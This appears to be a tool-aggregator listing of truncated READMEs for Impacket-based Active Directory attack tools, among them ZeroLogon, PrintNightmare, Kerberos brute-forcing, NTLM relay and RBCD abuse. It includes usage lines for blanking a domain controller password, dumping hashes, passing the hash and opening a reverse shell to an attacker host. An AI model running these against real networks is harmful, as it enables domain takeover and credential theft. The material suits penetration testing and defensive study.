ZeroLogon-Exploit

ZeroLogon - 漏洞利用与示例 修改自 Secura 的测试 PoC（CVE-2020-1472），用于将机器密码置空。 更改机器密码使用了 Microsoft 的 NetrServerPasswordSet2 函数。此漏洞利用借助 Impacket 的 nrpc.py 模块来调用 NetrServerPasswordSet2。 运行漏洞利用 ./zerologonNULLPASS.py 转储哈希 secretsdump.py -no-pass $@ 通过哈希传递获取 Shell 访问 wmiexec.py -hashes @...

ZerologonWithImpacket-CVE2020-1472

Zerologon 与 Impacket 组合利用工具（CVE-2020-1472） 本仓库包含 Zerologon 漏洞利用的更新实现（2024 年），并结合 Impacket 工具来利用 CVE-2020-1472（Zerologon）。该利用工具针对 Windows Server 环境，用于操控机器账户密码并执行横向移动。 功能 利用 CVE-2020-1472（Zerologon）将目标的机器账户密码设置为空字符串。 借助 Impacket 工具转储凭据并在受害机器上执行命令。 需求 1. Python 3.x 2. 运行以下命令安装所需依赖： root@kitploit: pi...

CVE-2020-1472

CVE-2020-1472 POC 需要从 GitHub 获取最新的 impacket，并添加了 netlogon 结构。 请注意，默认情况下这会更改域控制器账户的密码。这允许你进行 DCSync，但也会破坏与其他域控制器的通信，所以请小心操作！ 更多信息和原始研究请见 此处 利用步骤 阅读上述博客/白皮书，了解你在做什么 使用 DC 的 IP 和 NetBIOS 名称运行 cve-2020-1472-exploit.py 使用 secretsdump 进行 DCSync，使用 -just-dc 和 -no-pass 或空哈希以及 DCHOSTNAME$ 账户 恢复步骤 如果你安装了...

CVE-2021-1675

CVE-2021-1675 Impacket 实现的 PrintNightmare PoC，最初由 Zhiniang Peng @edwardzpeng 和 Xuefeng Li @lxf02942370 创建 已在完全修补的 2019 域控制器上测试 远程或本地执行恶意 DLL 安装 在运行漏洞利用程序之前，你需要先安装我的 Impacket 版本，之后就没问题了。 root@kitploit: pip3 uninstall impacket git clone https://github.com/cube0x0/impacket cd impacket python3...

PrintNightmare-CVE-2021-1675-CVE-2021-34527

CVE-2021-1675 / CVE-2021-34527 Implementación de Impacket del PrintNightmare PoC creado originalmente por Zhiniang Peng @edwardzpeng y Xuefeng Li @lxf02942370 Probado en un Controlador de Dominio 2019 completamente parcheado Ejecute DLL maliciosas de forma remota o local Actualización del parche...

ResetNightmare-impacket

ResetNightmare — CVE-2026-27912 Linux / impacket tooling for CVE-2026-27912 "ResetNightmare". Resets a target Active Directory account's password by requesting a kadmin/changepw TGT for an NTENTERPRISE principal whose name is the target's sAMAccountName, using an account UPNUser on which we can...

kerbrute

kerbrute 一个通过使用 Impacket 库执行 Kerberos 暴力破解的脚本。 执行时，输入接收一个用户或用户列表以及一个密码或密码列表。然后进行暴力破解攻击以枚举： 有效的用户名/密码组合 有效的用户名 不需要预认证的用户名 结果，脚本会生成发现的凭证列表，以及由这些有效凭证生成的 TGT。 安装 从 pypi： root@kitploit: pip3 install kerbrute 从仓库： root@kitploit: git clone https://github.com/TarlogicSecurity/kerbrute cd kerbrute pip...

ZeroLogon-to-Shell

这是 zerologontester.py 代码与 evil-winrm 工具的整合，用于获取 shell。我只是添加了一个 "os.system" 来调用 evil-winrm。 要求： 要获取管理员 NTLM HASH，我建议你使用 impacket 中的 secretsdump 工具 当然，你还需要安装 evil-winrm 这只是一个简单的代码，将几乎所有内容整合在一起。 一些参考资源： https://tryhackme.com/room/zer0logon...

rbcd-attack

滥用 Kerberos 基于资源的约束性委派 TL;DR 本仓库介绍针对 Windows Active Directory 域中 Kerberos 基于资源的约束性委派的实际攻击方法。 与其他常见实现的不同之处在于，我们是从 Windows 域外部 发起攻击，而非从已加入域的（通常是 Windows）计算机。 该攻击仅使用 Python3Impacket（及其依赖）实现。已在 Arch 系统上使用最新版 Impacket（编写时版本为 0.9.21）测试通过。 攻击概述 简而言之，不涉及深层细节，该攻击针对域计算机，确切地说是针对目标域计算机的服务主体。 我们需要以下前提条件：...

rbcd-attack

Abusing Kerberos Resource-Based Constrained Delegation TL;DR This repo is about a practical attack against Kerberos Resource-Based Constrained Delegation in a Windows Active Directory Domain. The difference from other common implementations is that we are launching the attack from outside of the...

CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 Impacket 实现的 PrintNightmare PoC，最初由 Zhiniang Peng @edwardzpeng 和 Xuefeng Li @lxf02942370 创建。 在完全修补的 2019 域控制器上测试。 远程或本地执行恶意 DLL。 补丁更新 Microsoft 已经发布了缓解这些攻击的补丁，但如果机器上存在以下值，则该机器仍然易受攻击。 root@kitploit: REG QUERY "HKLM\Software\Policies\Microsoft\Windows...

dcpwn

dcpwn 一个依赖于impacket的脚本，利用CVE-2019-1040漏洞，其代码部分借鉴于那些安全研究人员，我在此表示感谢。 仔细查看，你会发现利用该漏洞的技术与普遍认知略有不同。...

ntlm_relay_gat

NTLM Relay Gat Description NTLM Relay Gat is a powerful tool designed to automate the exploitation of NTLM relays using ntlmrelayx.py from the Impacket tool suite. By leveraging the capabilities of ntlmrelayx.py, NTLM Relay Gat streamlines the process of exploiting NTLM relay vulnerabilities,...

ntlm_relay_gat

NTLM Relay Gat 描述 NTLM Relay Gat 是一款强大的工具，旨在利用 Impacket 工具套件中的 ntlmrelayx.py 来自动化执行 NTLM 中继攻击。通过利用 ntlmrelayx.py 的功能，NTLM Relay Gat 简化了利用 NTLM 中继漏洞的过程，提供了从列出 SMB 共享到在 MSSQL 数据库上执行命令等一系列功能。 特性 多线程支持 ：使用多个线程并发执行操作。 SMB 共享枚举 ：列出可用的 SMB 共享。 SMB Shell 执行 ：通过 SMB 执行 shell。 秘密转储 ：从目标转储秘密信息。 MSSQL 数据库枚举...

ridrelay

RidRelay Quick and easy way to get domain usernames while on an internal network. Hit me up: @skorov8 How it works RidRelay combines the NTLM Relay attack, common lsarpc based queries and RID cycling to get a list of domain usernames. It takes these steps: 1. Spins up an SMB and HTTP servers and...

cve-2020-1472

cve-2020-1472 @toc 漏洞原理 原理比较复杂，有兴趣的可以看看下面链接上的文章https://www.freebuf.com/articles/system/249860.html 利用 1.修改文件impacket.dcerpc.v5.nrpc...

CVE-2018-9276

CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 反弹 Shell（支持 Python3） 依赖项 Impacket（Python3 版本） Netcat Msfvenom 使用方法 root@kitploit: git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass 1...

CVE-2020-1472-LAB

ZeroLogon 测试脚本 一个用于测试 ZeroLogon 漏洞（CVE-2020-1472）的实验环境。 它包含一个使用 Impacket 库测试漏洞的 Python 脚本，以及一台配置为域控制器（DC）的虚拟机（VM），运行 Windows Server 2019。 该脚本尝试执行 Netlogon 身份验证绕过。 成功执行绕过后脚本将立即终止，不进行任何 Netlogon 操作。 当 DC 已修补时，检测脚本会在发送多对 RPC 调用后放弃，并得出目标不脆弱（假阴性概率为 0.04%）的结论。 要求 VMWare workstation/fusion Vagrant...

CVE-2020-1472

Windows NetLogon 权限提升漏洞复现（CVE-2020-1472） 需将impacket.zip解压到当前文件夹 最新的impacket包可到这下载：https://github.com/SecureAuthCorp/impacket 具体过程可参考文章：https://mp.weixin.qq.com/s/8rp0k5M2aPSPIXxVuIRMdQ 参考 https://github.com/dirkjanm/CVE-2020-1472 https://github.com/sv3nbeast/CVE-2020-1472...

wmiexec-RegOut

⛔ 已弃用 已迁移至 https://github.com/XiaoliChan/wmiexec-Pro wmiexec-RegOut impacket wmiexec.py、wmipersist.py 的修改版本。从注册表获取输出（数据、响应），不需要 SMB 连接，但我的代码写得很糟糕 : 目录 概述 要求 用法 速查表 待办事项 参考 特别感谢： @rootclay，微信：xiangshan 概述 在原始 wmiexec.py 中，它通过 SMB 连接（端口 445、139）获取响应。不幸的是，一些杀毒软件将这些端口视为高风险并进行监控。 在这种情况下，我放弃了 SMB...